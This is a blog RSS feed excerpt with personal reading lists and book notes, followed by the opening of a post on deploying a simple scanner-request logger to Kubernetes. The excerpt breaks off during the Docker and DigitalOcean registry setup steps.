&lt;summary>&lt;i>Heaven Misplaced: Christ&amp;rsquo;s Kingdom on Earth&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Doug Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>One hopes&amp;hellip;&lt;/li>
&lt;li>There are a number of threads in this book: the most relevant and compelling was the thread noting concerns about the spiritualization of our eternal state&lt;/li>
&lt;li>I didn&amp;rsquo;t find the arguments for post-millennialism compelling, but need to dig into a few of them further&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Home Space Planning&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Nancy Temple&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Some interesting examples, but all very specific&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Stay Married: The Most Insane Love Story Ever Told&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Harrison Scott Key&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>I expected more advice and guidance from this book, but I still appreciated its dark humor and how it highlights the pain caused by sin and discontent&lt;/li>
&lt;li>A helpful warning for those who are married&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Sean Scherer&amp;rsquo;s Kabinett &amp;amp; Kammer: Creating Authentic Interiors&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Gentleman in Moscow&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Amor Towles&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>A Course on Postmillenialism&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Kenneth Gentry&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Ride, Sally, Ride&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Evangellyfish&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Flags Out Front&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Bruised Reed&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Richard Sibbes&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The White Horse King: The Life of Alfred the Great&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Ben Merkle&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Last Battle&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C.S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Horse and His Boy&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C.S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>The importance of not stopping/slowing too early really stood out to me on this reading&lt;/li>
&lt;li>And the importance of having a good attitude even when you have more asked of you than you think is realistic&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Hobbit, or There and Back Again&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>J. R. R. Tolkien&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>TODO: Add more about &amp;rsquo;the thorin principle&amp;rsquo;&amp;hellip; Quitting after much effort and right before success&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>My Life for Yours: A Walk Through the Christian Home&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very good book&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Live Like a Narnian: Christian Discipleship in Lewis&amp;rsquo;s Chronicles&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Joe Rigney&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Well worth reading&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Slaying Leviathan: Limited Government and Resistance in the Christian Tradition&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Glenn Sunshine&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating read&lt;/li>
&lt;li>Interesting to note that Christianity is unique in that it developed independent of a government so it&amp;rsquo;s relationship w/ the government is different than other religions&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Exasperate Your Wife and Other Short Essays for Men&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good read w/ some helpful advice&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Killing Porn: How to Hate and Kill the Dragon&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Toby Sumpter&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Read this out of curiosity and was pleasantly surprised by how practical and helpful it was&lt;/li>
&lt;li>I appreciate Toby taking the time to establish why Biblical marriage is so important&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Fit to Burst: Abundance, Mayhem, and the Joys of Motherhood&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Rachel Jankovic&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Some good stuff, but not has helpful to me as some of her other books&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Visual Handbook of Building and Remodeling (Professional Edition)&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Charlie Wing&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great resource&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Win an Information War: The Propagandist Who Outwitted Hitler&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Peter Pomerantsev&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Gripping read&lt;/li>
&lt;li>Details a fascinating story w/ a number of fascinating takeaways for human psychology&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Information Doesn&amp;rsquo;t Want to Be Free: Laws for the Internet Age&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Cory Doctorow&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very insightful read&lt;/li>
&lt;li>Highly recommend&lt;/li>
&lt;li>Very negative on how copyright is applied to both individuals and corporations as if they have the same capabilities&lt;/li>
&lt;li>Very negative on digital locks/drm&lt;/li>
&lt;li>More notes coming soon&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Final Spin&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jocko Willink&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fairly simple plot - not tremendously deep or complicated&lt;/li>
&lt;li>Appreciated his use of simple (sometimes one word) sentences&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Man Rampant: Season 4&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Some good episodes&lt;/li>
&lt;li>Esp. appreciated episode on size/scope of government and the role of unapproved appointments&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;/ol>
&lt;/section></description></item><item><title>2023 Reading List</title><link>https://hightower.space/posts/2023-reading-list/</link><pubDate>Sun, 01 Jan 2023 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/2023-reading-list/</guid><description>&lt;section>
Books read in 2023: 38
&lt;ol>
&lt;li>
&lt;details>
&lt;summary>&lt;i>On Becoming Baby Wise&lt;/i> [1,000,000]&lt;/summary>
Notes:
&lt;ul>
&lt;li>Extremely underwhelming - I heard great things about this book, but I found very little value from it as most of what they say I already knew from other sources.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>7 Habits of Highly Effective People&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Stephen Covey&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Cannot recommend this book highly enough&lt;/li>
&lt;li>Cheesy title, but a truly life-changing book&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Combat Strength Training: A No-Nonsense Retrofit for your Combat Chassis&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Pat McNamara&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Get intro to strength training and fitness&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Lazy Genius: Embrace What Matters, Ditch What Doesn&amp;rsquo;t, and Get Stuff Done&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Kendra Adachi&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good book w/ some good practical advice for busy people (e.g. parents)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Convict Conditioning&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Paul Wade&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Despite the overstated title, I think this book is actually really great!&lt;/li>
&lt;li>Gives paths for progression through various body-weight exercises&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Fit to Fight: An Insanely Effective Strength and Conditioning Program for the Ultimate MMA Warrior&lt;/i> [1000]&lt;/summary>
Notes:
&lt;ul>
&lt;li>Not bad - some good advice on diet and inspiration for workouts&lt;/li>
&lt;li>Ridiculous cover image&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Preparing for the Army Combat Fitness Test&lt;/i> [10]&lt;/summary>
Notes:
&lt;ul>
&lt;li>The army PT test serves as a good benchmark for a basic level of fitness&lt;/li>
&lt;li>Helpful collection of exercises to improve various skills&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Better Than Before: What I Learned About Making and Breaking Habits&amp;ndash;to Sleep More, Quit Sugar, Procrastinate Less, and Generally Build a Happier Life&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Gretchen Rubin&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Interesting book which gives a helpful paradigm for understanding how different people build habits (and some helpful tips on doing so)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Tiny House: Live Small, Dream Big&lt;/i> [100]&lt;/summary>
Notes:
&lt;ul>
&lt;li>Inspiring book to look through&lt;/li>
&lt;li>Great pics, but they don&amp;rsquo;t do a good job of telling the story of each house&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>M Is for Mama: A Rebellion Against Mediocre Motherhood&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Abbie Halberstadt&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very encouraging and challenging book even for dads&lt;/li>
&lt;li>A sort of &amp;lsquo;Extreme Ownership&amp;rsquo; for moms&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Magician&amp;rsquo;s Nephew&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic book - absolutely gets better with age&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The End of the World Is Just the Beginning: Mapping the Collapse of Globalization&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Peter Zeihan&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating book&lt;/li>
&lt;li>Describes which countries are well-situated in the world he believes we are entering (US, most of N and S America as a whole, Argentina, France, Turkey, Australia/New Zealand)&lt;/li>
&lt;li>One of his main theses is that geography and demographics matter - you can outrun population decline and can&amp;rsquo;t drive a truck across an ocean&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>A Gospel Primer for Christians: Learning to See the Glories of God&amp;rsquo;s Love&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Milton Vincent&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very worshipful book that I want to study through more thoroughly&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Mysterious Benedict Society&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Trenton Lee Stewart&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very fun read and highly recommended for kids (and even adults)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Artist&amp;rsquo;s Way&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Julia Cameron&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>A book I hope to read and re-read soon&lt;/li>
&lt;li>As a Christian, I think I have an even more powerful impetus to practice what is in this book than those who believe only in a nebulous, impersonal presence or spirit&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>On Guard: Defending Your Faith with Reason and Precision&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>William Lane Craig&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good read - introduces a lot of classical apologetic techniques for what they are worth&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Habits of the Household: Practicing the Story of God in Everyday Family Rhythms&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Justin Whitmel Earley&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Encouraging and practical read for parents&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Freedom of Self Forgetfulness: The Path to True Christian Joy&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Timothy Keller&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>GREAT book - very insightful and challenging&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Way of the Warrior Kid 1: From wimpy to warrior the navy seal way&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jocko Willink&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good book for kids - helpful intro and application of Jocko&amp;rsquo;s principles&lt;/li>
&lt;li>Chapter 7 contains various warrior codes which are worth reading in and of themselves&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Rest of God: Restoring Your Soul by Restoring Sabbath&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Mark Buchanan&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good theology and some helpful tips in this book&lt;/li>
&lt;li>Author wasn&amp;rsquo;t very concise and, in my opinion, was trying too hard to illustrate his points&lt;/li>
&lt;li>This is a good book - but I recommend just finding a good outline/summary of the book and calling that good&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Ruthless Elimination of Hurry: How to Stay Emotionally Healthy and Spiritually Alive in the Chaos of the Modern World&lt;/i> [1000]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John Mark Comer&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not recommended&lt;/li>
&lt;li>Author is trying to be too &amp;lsquo;cute&amp;rsquo; and persuasive&lt;/li>
&lt;li>Advice in this book is generally good, but not well-rooted in scripture. Author is playing fast and loose with scripture to try to root his words in the Bible instead of wisdom&lt;/li>
&lt;li>Find a good outline and summary of this book and read that&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>You&amp;rsquo;re Only Human: How Your Limits Reflect God&amp;rsquo;s Design and Why That&amp;rsquo;s Good News&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Kelly M. Kapic&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fascinating and encouraging read&lt;/li>
&lt;li>I appreciated the point that some of what we call sin is really part of what it means to be a creature&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Talk to Strangers&lt;/i> [1000]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Amanda Myers&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not very helpful&lt;/li>
&lt;li>Basically: Talking to strangers can be exciting and open doors although we have a cultural bias against and fear of strangers. When talking with strangers: smile, listen well, ask questions to find common ground&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Marc&amp;rsquo;s Mission: Way of the Warrior Kid&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jocko Willink&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very good book (I think even better than the first one)&lt;/li>
&lt;li>Love the realization of who Nathan is and what his background is&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Lonely Planet Epic Bike Rides of the World 1&lt;/i> [10]&lt;/summary>
Notes:
&lt;ul>
&lt;li>Fun read&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Forest: A Journey Through Wild and Magnificent Landscapes&lt;/i> [1000]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Matt Collins&lt;/li>
&lt;li>Roo Lewis&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Focuses more on individual tree species than forests as a whole&lt;/li>
&lt;li>Mildly interesting book with some great photographs&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Fields of Dreams: Travels in the Wildflower Meadows of America&lt;/i> [10]&lt;/summary>
Notes:
&lt;ul>
&lt;li>Beautiful photographs - worth skimming for the photos alone&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Never Split the Difference: Negotiating As If Your Life Depended On It&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Chris Voss&lt;/li>
&lt;li>Tahl Raz&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Potentially life-changing book&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Discipline Equals Freedom: Field Manual&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jocko Willink&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic book - definitely worth internalizing&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Loving the Little Years: Motherhood in the Trenches - Grace Based Christian Parenting&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Rachel Jankovic&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great book - very encouraging and helpful&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>150 Best Mini Interior Ideas&lt;/i> [100]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Francesc Zamora&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Ok - some good ideas and inspiration&lt;/li>
&lt;li>Does a decent job of telling full story of the home and its layout&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Design of Everyday Things (Revised and Expanded Edition)&lt;/i> [10]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Don Norman&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Underwhelming relative to the hype around this book - but still a very helpful book&lt;/li>
&lt;li>For a book on design, I found the hierarchy of the book difficult to follow - it wasn&amp;rsquo;t clear to me from the headings whether a section was a new section of a subheading of the previous section. More clarity in this area would have been helpful.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Don&amp;rsquo;t Read this Book: Time Management for Creative People&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Donald Roos&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very good book w/ a lot of helpful advice&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>On the Edge of the Dark Sea of Darkness&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew Peterson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>North! Or Be Eaten&lt;/i> [1]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew Peterson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Monster in the Hollows&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew Peterson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Warden and the Wolf King&lt;/i> [0]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew Peterson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>A Ranger&amp;rsquo;s Guide to Glipwood Forest&lt;/i> [1000]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew Peterson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Mildly interesting, but not worth reading in my estimation&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;/ol>
&lt;/section></description></item><item><title>Logging Scans from Vulnerability and Exploit Scanners (for Fun)</title><link>https://hightower.space/posts/k8s-scanner-collector/</link><pubDate>Thu, 01 Sep 2022 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/k8s-scanner-collector/</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>In this post, I explain a script (deployable to k8s) which will log incoming requests to collect requests from vulnerability and exploit scanners.&lt;/p>
&lt;p>It&amp;rsquo;s very basic and is not meant for any production use-cases, but it just a fun project to learn more about GoLang, k8s, and vulnerability scanners.&lt;/p>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>You can find the scanner on Github &lt;a href="https://github.com/fhightower/k8s-scanner-collector">here&lt;/a>.&lt;/p>
&lt;p>We&amp;rsquo;ll deploy it to a k8s cluster (I&amp;rsquo;m using &lt;a href="https://docs.digitalocean.com/products/kubernetes/">DigitalOcean&amp;rsquo;s Kubernetes service&lt;/a> (DOKS)) and see what vulnerability and exploit scanners hit our app!&lt;/p>
&lt;p>If you&amp;rsquo;ve never built a docker image, pushed it to a registry, and/or deployed that image to k8s, you can keep reading this post as I&amp;rsquo;ll walk you through the process, but you may also find
DigitalOcean&amp;rsquo;s &lt;a href="https://docs.digitalocean.com/tutorials/build-and-deploy-your-first-image-to-your-first-cluster/">guide on the subject&lt;/a> helpful.&lt;/p>
&lt;h2 id="the-process">The process&lt;/h2>
&lt;p>The process requires four steps:&lt;/p>
&lt;ol>
&lt;li>Create a docker image&lt;/li>
&lt;li>Push docker image to a registry&lt;/li>
&lt;li>Deploy that image to a k8s cluster&lt;/li>
&lt;li>View logs showing scanner activity&lt;/li>
&lt;/ol>
&lt;p>So let&amp;rsquo;s jump in!&lt;/p>
&lt;h3 id="create-docker-image">Create Docker Image&lt;/h3>
&lt;p>To create a docker image locally, we start by cloning the &lt;a href="https://github.com/fhightower/k8s-scanner-collector">repo&lt;/a>:&lt;/p>
&lt;pre tabindex="0">&lt;code>git clone git@github.com:fhightower/k8s-scanner-collector.git;
cd k8s-scanner-collector;
&lt;/code>&lt;/pre>&lt;p>and we build a docker image with the name &lt;code>scanner-collector&lt;/code> like:&lt;/p>
&lt;pre tabindex="0">&lt;code>docker build -t scanner-collector .
&lt;/code>&lt;/pre>&lt;p>You can look at the &lt;code>Dockerfile&lt;/code> to see what is included in this docker image.&lt;/p>
&lt;p>You can then run the image you created with:&lt;/p>
&lt;pre tabindex="0">&lt;code>docker run -p 80:80 scanner-collector
&lt;/code>&lt;/pre>&lt;p>which will run the scanner on http://localhost:80.&lt;/p>
&lt;p>If you run this locally, you can see that, for each request, it logs:&lt;/p>
&lt;ul>
&lt;li>The requested path&lt;/li>
&lt;li>The IP from which the request is coming (we make a best effort to find this)&lt;/li>
&lt;/ul>
&lt;h3 id="push-docker-image-to-registry">Push Docker Image to Registry&lt;/h3>
&lt;p>Next, we&amp;rsquo;ll deploy our docker image to a registry (in this case, in DigitalOcean, but the process should be similar for different cloud providers).&lt;/p>
&lt;p>To do this, we&amp;rsquo;ll use the &lt;a href="https://docs.digitalocean.com/reference/doctl/how-to/install/">doctl&lt;/a> cli.&lt;/p>
&lt;p>We start by &lt;a href="https://cloud.digitalocean.com/account/api/tokens/new">creating a token&lt;/a> and then running this command which
will prompt you for your token:&lt;/p>
&lt;pre tabindex="0">&lt;code>doctl auth init
&lt;/code>&lt;/pre>&lt;p>Now, if you don&amp;rsquo;t already have a registry, run:&lt;/p>
&lt;pre tabindex="0">&lt;code>doctl registry create &amp;lt;registry-name&amp;gt;
&lt;/code>&lt;/pre>&lt;p>where &lt;code>&amp;lt;registry-name&amp;gt;&lt;/code> is globally unique.
If you already have a registry in DigitalOcean, you an skip this step.&lt;/p>
&lt;p>Next, we login into our registry:&lt;/p>
&lt;pre tabindex="0">&lt;code>doctl registry login
&lt;/code>&lt;/pre>&lt;p>Now, run this command to let docker know which image we want to push to the registry:&lt;/p>
&lt;pre tabindex="0">&lt;code>docker tag scanner-collector registry.digitalocean.com/&amp;lt;registry-name&amp;gt;/scanner-collector
&lt;/code>&lt;/pre>&lt;p>and push it to the registry:&lt;/p>
&lt;pre tabindex="0">&lt;code>docker push registry.digitalocean.com/&amp;lt;registry-name&amp;gt;/scanner-collector
&lt;/code>&lt;/pre>&lt;p>To make sure it has been pushed successfully, we can run it locally using the image from the registry:&lt;/p>
